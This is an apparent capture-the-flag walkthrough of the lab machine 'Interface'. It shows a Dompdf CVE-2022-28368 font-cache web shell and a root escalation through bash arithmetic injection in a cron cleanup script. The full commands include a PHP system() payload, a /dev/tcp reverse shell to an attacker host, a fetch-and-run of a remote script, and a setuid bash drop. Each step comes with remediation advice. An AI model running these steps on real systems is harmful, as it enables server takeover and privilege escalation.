Interface
Summary
I found a hidden virtual host, prd.m.rendering-api.interface.htb, named in the Content-Security-Policy header of the target's nginx site. It fronted an HTML-to-PDF API (/api/html2pdf) built on a vulnerable Dompdf release. Using CVE-2022-28368, a stylesheet with a remote @font-face made Dompdf download my font with PHP appended and store it in its web-reachable font cache under a predictable name, which gave command execution as www-data and the user flag in /home/dev.
For root, I found /usr/local/sbin/cleancache.sh, a root cleanup script that reads each /tmp file's PDF Producer with exiftool and compares it using bash's arithmetic -eq. A PDF whose Producer held an array-subscript command substitution made root run a script that copied bash to /tmp with the setuid bit, and that copy returned the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export HEX_ID="<a-value-you-captured-earlier>"Attack path — how the box was taken
Exact commands 5
Only 22/tcp and 80/tcp answered.
$ nmap -Pn -sT -T4 --max-retries 1 --host-timeout 90s -p21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,465,587,636,993,995,1433,2049,2375,3000,3306,3389,5432,5601,5900,5985,5986,6274,6379,8000,8001,8008,8080,8081,8088,8443,8888,9000,9200,10000,11211,27017,50000 $TARGETRead the response headers; the CSP connect-src names prd.m.rendering-api.interface.htb.
$ curl -ksS -L --max-time 15 --max-redirs 5 -D - http://$TARGET/Returns {"status":"404","status_text":"route not defined"}: a JSON API lives on this vhost.
$ curl -ksS --max-time 15 -D - 'http://prd.m.rendering-api.interface.htb/api/html2pdf' -H 'Host: prd.m.rendering-api.interface.htb' --resolve prd.m.rendering-api.interface.htb:80:$TARGET422 {"status_text":"missing parameters"}: the route exists and wants a body.
$ curl -ksS --max-time 15 -X POST -D - "http://$TARGET/api/html2pdf" -H 'Host: prd.m.rendering-api.interface.htb' -H 'Content-Type: application/json' -d '{}'200 with Content-Type: application/pdf; the 'html' field is rendered into a PDF.
$ curl -v --max-time 10 -X POST http://$TARGET/api/html2pdf -H 'Host: prd.m.rendering-api.interface.htb' -H 'Content-Type: application/json' --data-binary '{"html":"ptest"}'FixDo not expose the internal rendering API on the public web serverMedium
Exact commands 9
Lists 'Dompdf 1.2.1 - Remote Code Execution (RCE)', php/webapps/51270.py.
$ searchsploit dompdf && searchsploit -w CVE-2022-28368The stylesheet the target will fetch. Work from one directory: the HTTP server below shares it.
$ cat > exploit.css <<EOF
@font-face {
font-family:'exploitfont';
src:url("http://$ATTACKER_IP:18081/exploit_font.php");
font-weight:'normal';
font-style:'normal';
}
body { font-family:'exploitfont'; }
EOFPulls the exploit_font blob out of 51270.py and appends the PHP payload.
$ cat > build_font.py <<'EOF'
import base64
import re
import sys
source = open(sys.argv[1], 'r', encoding='utf-8').read()
encoded = re.search(r'exploit_font = b"([A-Za-z0-9+/=]+)"', source).group(1)
raw = base64.b64decode(encoded)
raw += b'\n<?php system($_GET["c"]); ?>'
print(base64.b64encode(raw).decode('ascii'))
EOFPrints the font-plus-PHP payload as one base64 line; save that line as font.b64.
$ python3 build_font.py /usr/share/exploitdb/exploits/php/webapps/51270.pyWrite the font-plus-PHP payload.
$ base64 -d font.b64 > exploit_font.phpPredicts the cache file name. Bind the printed digest to $HEX_ID; every web-shell URL below uses it.
$ printf %s http://$ATTACKER_IP:18081/exploit_font.php | md5sumRun in a second terminal from the same directory; it serves exploit.css, exploit_font.php and, later, base.pdf and privesc.sh.
$ python3 -m http.server 18081 --bind $ATTACKER_IPCheck the server returns the stylesheet before sending the job.
$ curl -sS --max-time 5 http://$ATTACKER_IP:18081/exploit.cssDompdf fetches the stylesheet and font and caches the font as exploitfont_normal_$HEX_ID.php.
$ curl -sS --max-time 20 -o /dev/null -w 'status=%{http_code} bytes=%{size_download}\n' -X POST http://$TARGET/api/html2pdf -H 'Host: prd.m.rendering-api.interface.htb' -H 'Content-Type: application/json' --data-binary '{"html":"<link rel=\"stylesheet\" href=\"http://'"$ATTACKER_IP"':18081/exploit.css\"><p>ptest</p>"}'FixPatch dompdf and disable remote resource loading in the PDF rendererCritical
Exact commands 2
Output follows the binary font header.
$ curl -sS --max-time 10 "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php?c=id" -H 'Host: prd.m.rendering-api.interface.htb'URL-encoded bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1', caught by a listener on port 4444.
$ curl -sS --max-time 600 -H 'Host: prd.m.rendering-api.interface.htb' "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php?c=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F$ATTACKER_IP%2F4444%200%3E%261%27"FixPrevent execution of uploaded or cached files in web directoriesCritical
Exact commands 1
Run in the reverse shell; prints the path and <user.txt>.
$ id; find /home -name user.txt -type f -readable -exec sh -c 'echo FLAG_PATH:$1; cat "$1"' sh {} \; 2>/dev/nullFixTighten file permissions on user home directoriesMedium
Exact commands 2
Shows /usr/local/sbin/cleancache.sh.
$ curl -sS --max-time 15 --get "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php" -H 'Host: prd.m.rendering-api.interface.htb' --data-urlencode "c=ls -la /etc/cron.hourly /etc/cron.d /usr/local/sbin /opt 2>/dev/null; echo WRITABLE; find /etc/cron.hourly /etc/cron.d /usr/local/sbin /opt -writable -ls 2>/dev/null; echo PROCESSES; ps auxww"Read the script and its ownership.
$ curl -sS --max-time 15 --get "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php" -H 'Host: prd.m.rendering-api.interface.htb' --data-urlencode "c=cat /usr/local/sbin/cleancache.sh; echo REFERENCES; grep -R cleancache /etc/systemd /etc/cron* /var/spool/cron 2>/dev/null; echo STATUS; stat /usr/local/sbin/cleancache.sh"FixNever feed untrusted data to bash arithmetic in privileged scriptsCritical
Exact commands 6
A genuine PDF to carry the poisoned metadata, saved in the directory the HTTP server shares.
$ curl -sS --max-time 20 -X POST http://$TARGET/api/html2pdf -H 'Host: prd.m.rendering-api.interface.htb' -H 'Content-Type: application/json' --data-binary '{"html":"<p>cache</p>"}' -o base.pdfUnquoted delimiter so $ATTACKER_IP expands; the escaped \$( and \${IFS} land in the file literally.
$ cat > privesc.sh <<PRIVESC
#!/bin/bash
curl -s http://$ATTACKER_IP:18081/base.pdf -o /tmp/pwn.pdf
cat > /tmp/x <<'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chown root:root /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x /tmp/x
/usr/bin/exiftool -overwrite_original -Producer='a[\\$(/bin/bash\\${IFS}/tmp/x)]' /tmp/pwn.pdf
printf 'producer='
/usr/bin/exiftool -s -s -s -Producer /tmp/pwn.pdf
ls -l /tmp/pwn.pdf /tmp/x /tmp/rootbash 2>/dev/null
PRIVESCReplant the font web shell after the cache was emptied.
$ curl -sS --max-time 20 -o /dev/null -w 'status=%{http_code} bytes=%{size_download}\n' -X POST http://$TARGET/api/html2pdf -H 'Host: prd.m.rendering-api.interface.htb' -H 'Content-Type: application/json' --data-binary '{"html":"<link rel=\"stylesheet\" href=\"http://'"$ATTACKER_IP"':18081/exploit.css\"><p>reseed</p>"}'Fetches and runs privesc.sh; the output shows producer=a[$(/bin/bash${IFS}/tmp/x)].
$ curl -sS --max-time 20 "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php?c=curl%20-s%20http%3A%2F%2F$ATTACKER_IP%3A18081%2Fprivesc.sh%20-o%20%2Ftmp%2Fprivesc.sh%3Bbash%20%2Ftmp%2Fprivesc.sh" -H 'Host: prd.m.rendering-api.interface.htb'pwn.pdf is gone and /tmp/rootbash is -rwsr-xr-x root root.
$ sleep 40; curl -sS --max-time 10 "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php?c=ls%20-l%20%2Ftmp%2Frootbash%20%2Ftmp%2Fpwn.pdf%202%3E%261" -H 'Host: prd.m.rendering-api.interface.htb'/tmp/rootbash -p -c 'id;cat /root/root.txt' prints euid=0(root) and <root.txt>.
$ curl -sS --max-time 10 "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php?c=%2Ftmp%2Frootbash%20-p%20-c%20%27id%3Bcat%20%2Froot%2Froot.txt%27" -H 'Host: prd.m.rendering-api.interface.htb'FixPrevent SUID binaries in world-writable locationsHigh
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.14.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.